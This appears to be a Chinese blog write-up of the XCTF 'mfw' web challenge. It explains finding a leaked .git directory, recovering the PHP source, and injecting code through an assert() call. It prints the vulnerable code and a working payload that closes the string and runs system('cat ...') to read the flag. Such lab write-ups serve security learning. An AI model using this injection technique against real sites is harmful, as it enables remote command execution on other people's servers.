攻防世界----mfw
攻防世界----mfw
题目描述:
页面描述
解题思路
观察上图,我们可以获得两个比较重要的信息
1.该网站是用git托管源码,以及用PHP编写
2.有一个flag文件(猜测后缀为.PHP)
怀疑存在.git源码泄露,于是尝试访问或者是dirsearch扫描目录
http://220.249.52.133:47363 /.git
利用githack下载源码,详细代码自己发现,获得以下的信息
1.关键的代码
2.template目录下存在flag.php文件(你可以尝试直接cat一下)
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";//用于拼接形成目录路径
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
发现一个assert()函数,想到可以是任意代码执行漏洞,而且对于尝试$page没有任何的控制直接拼接
首先我们确定的最后想要的肯定是利用assert()函数执行cat ./template/flag.php获得flag,那么肯定要破坏原来的assert的结构才能,使得我们的目标才能达成
assert("strpos('$file', '..') === false")
assert("file_exists('$file')")
那么我们就尝试构造?page=') or system('cat ./template/flag.php');// 这里建议使用单引号便于后期区分
传入后就变成$file="/template/') or system('cat ./template/flag.php');//.php"
注意时候//还是作为$file还是作为字符串的注意区分
替换assert("strpos(''/template/') or system('cat ./template/flag.php');//.php, '..') === false")
正真运行strpos(''/template/') or system('cat ./template/flag.php'); 由于strpos函数报错,因此运行我们构造的语句or后面的语句
放回页面为空,不要慌,查看源码你就会发现flag
**tips**
网上的wp有些返回结果是这样的
这其实是在原来的基础上在开头加上任意的东西,导致第二个assert()被执行从而输出两次,而原来的那个payload由于是空,但是是存在/template这个文件夹所以不执行后面的语句,如果不清楚是怎么替换的可以自己手工操作一遍就明白了(注意不要被单引号双引号搞乱了)
知识点
asssert()函数
assert()函数
PHP中该函数用于’断言’,简单来说就是用于判断表达式或者是调试程序,当判断的内容是字符串的时候,该函数会将字符串作为PHP代码执行,因此存在任意代码执行的漏洞,类似于eval()函数
strpos()函数
strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
注释:strpos() 函数是区分大小写的。
注释:该函数是二进制安全的。
总结
这题考察PHP代码审计的能力,以及.git源码泄露的知识点,虽然一开始不怎么清楚怎么做,但是看到git就想到会不会是源码泄露,随便还熟悉了一下githack工具的使用,进而找到关键的代码,但是PHP代码审计的能力不够,卡在这个点上,看了大佬的wp之后又做了一遍,有了自己的理解
上一篇: NMAP对企业环境实施安全检查
下一篇: 高校战“疫”网络安全分享赛pwn部分wp